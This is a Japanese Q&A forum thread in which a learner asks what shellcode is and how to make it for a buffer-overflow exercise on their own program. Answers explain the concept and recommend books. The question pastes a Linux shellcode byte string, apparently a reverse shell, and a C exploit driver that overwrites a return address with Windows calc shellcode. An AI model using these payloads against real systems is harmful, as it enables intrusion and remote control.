🎄teratailクリスマスプレゼントキャンペーン2024🎄』開催中!

\teratail特別グッズやAmazonギフトカード最大2,000円分が当たる!/

詳細はこちら
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

Q&A

4回答

3383閲覧

Hello World を出力するシェルコード作成方法について

kazuyakazuya

総合スコア193

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

0グッド

2クリップ

投稿2019/10/20 06:24

編集2019/10/21 01:30

知恵袋のほうでも質問したり、調べたりしたのですが
なかなか理解できないです。
前提知識の問題だと思うのですが、まずそこからわからないのでご教授ください。

知恵袋

やりたいこと・これまでの過程

バッファオーバーフローに関しての質問

こちらの質問にて、
パイプを使うことで、脆弱性のあるプログラム(scanf)
にバッファを溢れさせる文字列を流し込み、リターンアドレスを書き換えることで
sub関数を呼び出すことに成功しました。

で、今回やりたいのがあらかじめ用意しておいた関数を呼び出すのではなく、
シェルコードをバッファオーバーフローを起こして実行させたいです。

最終目標として

string

1"Hello World"を出力するシェルコードを実行させたい。 2(Hello Worldではなくてはいけないわけではないが、一番簡単そうだから)

を目指しています。
本題

そこで、"Hello World!"を出力するシェルコードを作成したいです。
調べていくと・・・

cmd

1gcc

このコマンドを使えばコンパイルができると・・・。
(C言語→機械語)

で、コンパイルしてみました。
イメージ説明

これが”シェルコード”と思っていたのですが・・・
違いますよね?

参考サイト

cmd

1\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05

イメージ説明

cmd

1このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。

実行コード exe の中の一部がシェルコードということ?

質問1
シェルコードとはなんでしょうか?
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが
どうやら違うみたいです。
理解できそうにないので教えてください。

質問2
"Hello World!"を出力するCプログラム

c

1#include <stdio.h> 2#include <stdlib.h> 3 4int main(void){ 5 system("tasklist"); 6 return 0; 7} 8

を gccコマンドを使って(gccではなくてもいいけれど)
シェルコード(バッファオーバーフローで使えるような)
を生成することはできるのでしょうか?

分からないのでお願いします。

追記

電卓を起動させるシェルコード

c

1#include <stdio.h> 2 3int main(void) 4{ 5 for (int i = 0; i < 28; ++i) putchar(0x00); 6 putchar(0xBC); 7 putchar(0xFA); 8 putchar(0x4F); 9 putchar(0x00); 10 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF"); 11} 12

パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。

c

1asub関数のアドレス・・・000B12C6 2リターンアドレス・・・000B1CEC 3保存されたebp:004FFB0C 4f 5ローカル変数 6ローカル変数 4バイト出力 16進数 0 80 7addr:004FFA9C price:fc30066 8addr:004FFAA0 price:bc002 9addr:004FFAA4 price:4ffaf8 10addr:004FFAA8 price:0 11addr:004FFAAC price:b1cec 12addr:004FFAB0 price:b12c6 13addr:004FFAB4 price:4ffb0c 14addr:004FFAB8 price:b1cec 15addr:004FFABC price:8 16addr:004FFAC0 price:b1352 17addr:004FFAC4 price:b1352 18addr:004FFAC8 price:251000 19addr:004FFACC price:2 20addr:004FFAD0 price:7542f840 21addr:004FFAD4 price:6057d1f8 22addr:004FFAD8 price:4ffaf4 23addr:004FFADC price:fbfc922 24addr:004FFAE0 price:0 25addr:004FFAE4 price:b1352 26addr:004FFAE8 price:0 27addr:004FFAEC price:fc2e62e 28addr:004FFAF0 price:fd04e64

入力からリターンアドレスまでは28バイトよって

c

1for (int i = 0; i < 28; ++i) putchar(0x00);

28バイト適当に埋める。

c

1 putchar(0xBC); 2 putchar(0xFA); 3 putchar(0x4F); 4 putchar(0x00);

これでシェルコードが配置されるであろうアドレスに
リターンアドレスを書き換える。

c

1 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");

上記でシェルコードを配置・・・
ただ、エンディアンとかを考慮した場合結構あやしいような・・・

結果

イメージ説明
普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
今回では「無視」を選択しても
ループ的に警告が再度表示されるようになりました。

電卓が起動してないのだから失敗・・・ですよね?

string

1追記1: すみません。printf関数ではだめみたいですね。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

dodox86

2019/10/20 07:37

回答未満ですのでいち参考情報として。 > これが”シェルコード”と思っていたのですが・・・ ご想像どおり、違います。画像をみると、EXE形式の実行ファイルのヘッダーが存在することが一目瞭然です。画像の頭、1行目に文字列"MZ"があり、"This program cannnot be run in ..."の文字列があり、2行目あたりに文字列"PE"があります。Windows用のEXE実行ファイルのPEヘッダーであることが見て取れます。"MZ"はMS-DOS 16ビット実行環境用のスタブです。この時点でもう、OSにロードされることを期待する実行ファイルである、と言うことが分かります。
kazuyakazuya

2019/10/20 09:20

ありがとうございます。 MDにはそういう意味があるんですね。
kazuyakazuya

2019/10/20 09:24

exeファイルについて、ちょっくらかじってみます。
dodox86

2019/10/20 09:58

尚、参考にされたサイトの情報はlinuxのもののようなのでELF形式、質問者さんが提示された画像のものはWindowsの実行ファイルでPE形式なので、EXEヘッダーは異なります。
guest

回答4

0

質問1
シェルコードとはなんでしょうか?
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが

機械語で書かれた、メモリに読み込んでEIP動かしてCPUに渡せば実行できる断片でありペイロードです。
exeは、主にクリックする事でOSが読み取れる形式の実行ファイルです。
誤解を招く表現ではありますが、
exeにはシェルコードと同様のコードを含んでいるが、先頭等にOSが使う情報が含まれているため
そのままでは、シェルコードとして使うことはできません。

質問2
を gccコマンドを使って(gccではなくてもいいけれど)
シェルコード(バッファオーバーフローで使えるような)
を生成することはできるのでしょうか?

リンカスクリプトを書き換えれば若干の可能性はありますが、基本的に不可能です。
理由としては

  • アプリケーション開発者は使わない機能なため、資料が乏しくめんどくさい
  • Cで生成した命令列そのまま使えるかが微妙で、手で調整する必要がある

投稿2019/10/20 07:21

asm

総合スコア15149

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/20 09:18

回答ありがとうございます。 うーむ、では、ここでは "Hello World!"を出力させるシェルコードを作成する方法は ないのでしょうか? ネット上で調べていくとシェルコードは出てくるは出てきますが やっぱり、自分でやってみたいので・・・(できれば)
asm

2019/10/20 09:35

「簡単な」方法は現在知られていません。 攻撃者の中にはgccなどを改造した自作ツールを作っている人もいるかもしれませんが
kazuyakazuya

2019/10/20 09:47

わかりました。 少なくても今の私には ハードルが高そうですね...。 シェルコードはネットから持ってきて使おうと思います。
guest

0

他の方も参考にあげておられましたが、あなたがされたいことは「Hacking:美しき策謀: 脆弱性攻撃の理論と実際」https://www.amazon.co.jp/dp/4873115140 でよんだ記憶がありますので、これを参考にしてみてはいかがでしょうか。

投稿2019/10/20 11:49

fu7mu4

総合スコア1088

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/20 12:19

回答ありがとうございます。 評価を見たうえで判断しようと思います。
guest

0

シェルコードとはなんでしょうか?

「セキュリティコンテストチャレンジブック」https://www.amazon.co.jp/dp/4839956480 の定義がよいでしょう。サポートページ から 付録2.pdf を見ることができます。

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことから、これをシェルコードと呼んでいます。

ほか参考文献:

"Hello World!"を出力するCプログラムをgccコマンドを使ってシェルコードを生成することはできるのでしょうか?

「Hello World を表示するプログラム」は、どう変換したところで「シェルコード」ではないです。定義から言えば、シェルを起動しないプログラムはシェルコードではないです。

投稿2019/10/20 10:00

matobaa

総合スコア2493

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/20 11:33

回答ありがとうございます。 あぁ・・・ここで言うシェルコードは ”Hello World!”を出力させるペイロードを シェルコードとは言わない・・・んですね。
matobaa

2019/10/20 12:24

Zuishinさんさすが面白いツッコミありがとうございます
Zuishin

2019/10/20 12:25 編集

来日して何日くらいですか?
matobaa

2019/10/20 12:28

Zuishinさんさすが面白いツッコミありがとうございます。
Zuishin

2019/10/20 12:30

> 定義から言えば、シェルを起動しないプログラムはシェルコードではないです。 そのような定義はどこにもありません。
matobaa

2019/10/20 12:31

そうですね、厳密な定義はどこにもないです。そうか、それこそが質問者への回答ですね、ありがとうございます。
Zuishin

2019/10/20 12:34

厳密な定義というレベルではなく、紹介した資料のレベルで読み間違えているので低評価しました。
matobaa

2019/10/20 12:35

はい理解しています。読み間違えててくやしいです。
guest

0

あなたはどういう意味でシェルコードなる言葉を使ってるんでしょうか。
あなたが出した言葉をあなたがわからないではお話になりません。

記事に書いてある、というなら、まずは他人に聞くんじゃなくその記事の著者に聞くのが筋なんでは

投稿2019/10/20 06:40

y_waiwai

総合スコア88038

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/20 06:42

回答ありがとうございます。 やっぱそういわれますよねぇ~ なので、質問1で そもそもシェルコードとはなんですか?という 投げやりな質問をしています。
y_waiwai

2019/10/20 06:45

ホゲホゲコードとはなんですか?と聞かれて答えれますか? まあ、そういうことです
kazuyakazuya

2019/10/20 06:51

うーむ、確かにそうですが・・・ では http://www.intellilink.co.jp/article/column/ctf01.html こちらの記事ではバッファオーバーフローについて 大まかに解説してくれています。 溢れさせるバッファに”シェルコード”なるたるものを 含めていますが、こので言うところの ”シェルコード”とは一体なんでしょうか 記事の作成者に聞け って言われたら 元も子もない気がしますが・・・。
y_waiwai

2019/10/20 06:52

作成者に聞けよ、としかいいようがないですが
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

まだベストアンサーが選ばれていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.36%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問